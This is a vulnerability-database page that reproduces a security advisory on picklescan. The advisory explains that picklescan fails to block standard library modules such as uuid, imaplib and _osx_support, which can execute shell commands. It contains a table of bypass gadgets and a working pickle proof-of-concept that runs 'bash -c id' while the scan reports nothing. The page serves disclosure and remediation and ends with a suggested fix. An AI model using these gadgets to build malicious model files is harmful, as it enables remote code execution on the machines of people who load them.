INCIDENT MAP

Browse / Unsafe Model Loading and Supply Chain / CVE-2026-56315

PickleScan has multiple stdlib modules with direct RCE not in blocklist

CVE-2026-56315 · 2026-03-03 critical

Class
Unsafe Model Loading and Supply Chain (filed by a model that read the advisory)
Technique
Unsafe deserialisation
Affected
picklescan (PyPI)
Gets past
Safe model loader or scanner
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
1.1% chance of exploitation in 30 days

How it works, in short

The scanner's blocklist omits several standard library modules that can run shell commands, so pickles using them are reported as clean. (Our summary, written by a model. The source text is below.)

Details

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

Details

Unblocked RCE Modules

| Module | Function | RCE Mechanism | picklescan Result |
|--------|----------|--------------|-------------------|
| uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args) | CLEAN |
| _osx_support | _read_output(cmdstring) | os.system() via temp file | CLEAN |
| _osx_support | _find_build_tool(toolname) | Command injection via %s | CLEAN |
| _aix_support | _read_cmd_output(cmdstring) | os.system() | CLEAN |
| _pyrepl.pager | pipe_pager(text, cmd) | subprocess.Popen(cmd, shell=True) | CLEAN |
| _pyrepl.pager | tempfile_pager(text, cmd) | os.system(cmd + ...) | CLEAN |
| imaplib | IMAP4_stream(command) | subprocess.Popen(command, shell=True) | CLEAN |
| test.support.script_helper | assert_python_ok(*args) | Spawns python subprocess | CLEAN |

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:
1. Switching to an allowlist (default-deny) for permitted globals
2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)

Resources

References

Source: GitHub Advisory Database, used under CC BY 4.0.